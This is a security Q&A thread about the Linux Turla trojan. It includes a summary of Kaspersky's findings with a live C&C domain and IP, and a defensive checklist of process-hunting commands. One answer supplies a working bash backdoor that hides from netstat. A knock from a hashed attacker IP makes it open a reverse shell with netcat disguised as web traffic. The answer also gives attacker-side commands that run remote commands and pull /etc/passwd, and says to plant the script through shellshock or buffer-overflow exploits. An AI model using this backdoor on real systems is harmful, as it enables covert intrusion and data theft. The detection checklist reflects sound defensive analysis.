25

There are several articles describing the newly discovered Linux-based Turla trojan.

But basically, all these articles repeat the same, very limited, information. Can anybody provide more details, such as:

  1. How do linux machines get infected
  2. Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)
  3. Where does the malware code "live" on the infected machine
  4. plus any other interesting details
  • 1
    The link mentions APT and rootkit; I'd say there is privilege escalation or social engineering but the malware definitely gets root access; and it probably lives in a compromised kernel module or even by modifying the actual kernel and embedding itself in it. – user42178 Dec 10 '14 at 15:52
  • My understanding based on this LWN comment is that the Linux trojan is not that special. For packet injection/interception you need to be root, but then yours bets are already off. – Lekensteyn Dec 10 '14 at 16:50
  • Hey OP, can you append the question to ask for the specifics of the magic numbers that start the turla process? – j0h Dec 21 '14 at 14:25
  • @j0h - sorry, but I don't understand what you want me to ask. Feel free to suggest an edit to my question, if you think you have something interesting to ask/tell. – Martin Vegter Dec 21 '14 at 14:58
  • 1
    After some tests, research and discuss. I've posted a log edit to my answer today, with a checklist todo. Please read and comment – F. Hauri Feb 4 '15 at 10:01
21

TURLA is the final stage of a large and sophisticated family of malware. There have been known Windows versions since at least 2010. This 40 page presentation is the most comprehensive resource I have seen, for either platform.

TURLA - development & operations

Some Windows Highlights

  • Stage 0: attack stage - infection vector
  • Stage 1: reconnaissance stage - initial backdoor
  • Stage 2: lateral movements
  • Stage 3: access established stage -TURLA deployed
  • On each stage they can quit if they lose interest in target

Stage 0: Injection Vectors

Stage 1: Reconaissance Stage

  • Initial backdoor - WipBot/Epic/TavDig

  • WipBot is a combination of a zero-day and a CVE-2013-3346 exploit

  • Exports functions with same names as TURLA. No other similarities

  • Breaks debugging and most malware sandboxes

  • Process hops several times, wipes its own PE section

  • Further described in Kaspersky Lab report

Stage 2: Lateral Movements

  • Refine C&C

  • Further penetrate network

  • Utilize new backdoor

  • Gets Domain Admin credentials

Stage 3: Turla

  • Dropped on select machines for long-term compromise

  • Machines can be compromised for years without detection





Other Resources





Linux Highlights

  • Turla module written in C/C++

  • Based on cd00r

  • Executable is statically linked against multiple libraries

  • Its functionality includes hidden network communications, arbitrary remote command execution, and remote management

  • Much of its code is based on public sources

  • Cannot be detected with netstat

  • Does not require root access

Linux Executable Characteristics

  • ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped

Linux Statically Linked Libraries

  • glibc2.3.2 - the GNU C library

  • openssl v0.9.6 - an older OpenSSL library

  • libpcap - tcpdump's network capture library

Linux C&C Details

  • First stage C&C is hardcoded. Known activity @ news-bbc.podzone[.]org

  • pDNS IP: 80.248.65.183

Linux Startup/Execution Details

  • Process requires two parameters: ID (a numeric value used as a part of the "magic packet for authentication") and an existing network interface name

  • The parameters can be inputted two different ways: from STDIN, or from dropper a launching the sample

  • After the ID and interface name are entered and the process launched, the backdoor's process PID is returned

Linux Magic Packet

  • Statically links PCAP libraries

  • Gets raw socket, applies filter, captures packets

  • Checks for an ACK number in the TCP header, or the second byte from the UDP packet body

  • If condition is met, execution jumps to packet payload contents and creates regular socket

  • Backdoor uses new socket to connect to source address of Magic Packets

  • Backdoor reports its own PID and IP, waits to receive commands

  • Arriving commands are executed with a "/bin/sh -c " script

Final Notes

Everything regarding the linux version was from the Kaspersky report. Unfortunately, detecting seems to be very difficult at this point.

"Although Linux variants from the Turla framework were known to exist, we haven't seen any in the wild yet." - Kaspersky Lab

  • thanks for the link. Unfortunately, it mostly describes infections on Windows machines. I am more interested in the Linux-infecting variant. – Martin Vegter Dec 10 '14 at 15:37
  • @MartinVegter I have edited the answer to include highlights of the only linux analysis I know to exist. – cremefraiche Dec 11 '14 at 2:32
  • I've edited my answer, adding a checklist. Please have a look and feel free to comment. – F. Hauri Feb 5 '15 at 8:07
3

Edits:

  • [2018-11-23]: Added Salt to md5 and improved some explanations.
  • [2015-02-06]: Answer based on tests, remarks and discutions

Short intro

In order to find a way to detect them, I've strongly worked around concept and methods.

For this, I quickly wrote a little bash script working in approx same way.

From there and with some additional knowledge about Un*x concepts, I post my checklist which could help to find this working trojan in any system.

Bash re-written Turla knock-door

In order to understand how this work, I wrote this:

(This have to be run on target host, by some remote exploit, viruses or else.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # change this to >1024 if'nt root on attacker's host!

while :;do
    while IFS=': ' read seq loci locp remi remp foo;do
    [ -z "${seq//[0-9]}" ] &&
    [ "$locp" == "$bport" ] &&
    [ "$remp" != "0000" ] &&
    myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
    myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
    chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
    [ "$chksum" == "$myIpSum" ] &&
    nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

This is not totally undetectable but...

Features

  • Totally undetectable by using netstat, while staying listen for attacker's connexions.
  • Use [In->Out] as [RANDOM->80] tcp ports to make connection look like any surf connection.
  • Wait for specific IP (hashed, so not readable) on local port 22, without using promiscuous mode nor requiring root privilege
  • Once detected an incomming connection from the specific IP (Knock!), this open a connection to this IP, on port 80 to look like a surf connection and offer a bash, back on this connection.

Note: Real trojan could use SSL and real HTTP Headers in order to work through proxy too!!

This accept 4 arguments:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm is hash of salted attacker's IP. Could be rendered by using md5sum <<<SaltMyIP192.168.1.31 (Salt could be changed in script).
  • KnockDoorPort -> bport is any already binded port, used on target host (22 for sample if target serve SSH, but any opened port could be used)
  • myPort -> rport is local attacker's port used for incomming connection (80 to look like outgoing http connection)
  • -i flag could be used to run bash interactively

Step of infection

  1. First step is to run this script by using any remote exploit, like shellshock or any buffer-overflow.
  2. Second, attacker have to know target's IP, in order to send a knock door on port 22
  3. Use from attacker's IP (as root for listening on tcp port 80), wait for target's incomming connection.
  4. You're logger in a shell on target!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
                   ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

Sample:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

or

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Not so easy to detect

While the script stay running on target host, and no attacker's connection are open, the running script is not visible by using netcat.

Knock are done once on port 22 where having a lot of connection fail is regular. Real connection look like any outgoing http connection.

Answer (edited):

  1. How do linux machines get infected

    This is a trojan, so this question does not really a matter... (see Shellshock, for sample)

  2. Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)

    No, one of the goal of this is to permit attacker to search for a way of doing privilege escalation.

  3. Where does the malware code "live" on the infected machine

    1. Everywhere and nowhere: If you run this as an attachment, you may know where you've been stored them. If it's run from a remote exploit, they could delete the binary once run.

    2. If Turla is a binary (C written), thay have to be stored somewhere in your Un*x system, with executable flags set in order to be run. Recent filesystem do permit to delete them after running, but inode have to stay untouched!

      This could be revealed be searching for binaries that run in your system but is located in standard PATH.

    3. If trojan is a script, only the binary have to be linked in filesystem, so the script could be deleted or even run as STDIN and not stored at all.

  4. plus any other interesting details

    Please try my bash script...

Checklist (added: 2015-02-04)

  • Search for forked pids (where Parent Pid == 1)

    grep PPid:\\s1$ /proc/*/status
    
  • Search for process that don't run binary from PATH

    for pid in $(ps axho pid);do
        readlink /proc/$pid/exe |
          sed 's/\/[^\/]*$//'|
          grep -q "^${PATH//:/$\|^}$" ||
            printf "%10d  %-16s  %s\n" $pid "$(
                sed 's/Name:[\t ]*//;q' /proc/$pid/status
              )" "$(
                readlink /proc/$pid/exe
              )"
      done
    
  • Search for process running for a long time

    ps axho pid,etime,user,cmd
    

    ...

    ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • Script: Search for process making sort of hidding: compare exe and command line

    for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
        printf "%10d  %-40s  %s\n" $pid "$(
            readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
      done
    
  • Using apparmor, you could watch for process accessing tcp stack (and/or udp stack).

  • Using tcpdump, there is a stong work, but an efficient solution:

    Watch for outgoing connection wich make any kind of request, become an answer not necessarly immediately after, but send next request immediately after recieving first answer, then don't care about last request's answer: will quit when recieving exit directive, saying something like logout., wich could by driven as the last http request of current session, but close before recieving any http response.

    In fact, you have to find an outgoing connection where data exchanges don't match regular scheme of outgoing connection but an hybrid scheme of server-start - incoming connection - server-stop.

    Of course, this have to be trapped because no connection are permanently open.

  • Making system calls statistics (using apparmor)

    thanks to alphanet for this idea

    Make stats for each running process and

    Submit them to a bayesian tool to compute regular profiles

    In order to become alerted when a new process don't match regular profiles (or even when a running process change).

  • Of course, this sample could be perfected by using openssl instead of netcat... But the method would stay same. – F. Hauri Dec 20 '14 at 17:53
  • Any suggestion for Checklist welcome!! – F. Hauri Nov 23 '18 at 15:43
1

Given Turla is based upon cd00r, there should not be any privilege escalation involved.

cd00r runs as normal user application, starting an inetd service on some predefined ports. Thus, removing execute permissions on inted should be enough to block it.

sudo chmod o=r `which inetd`
  • cd00r does not listen on anything. It starts a non-promiscuous pcap and watches for packets. It will start inetd when the client connects. – ThoriumBR Nov 23 '18 at 19:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.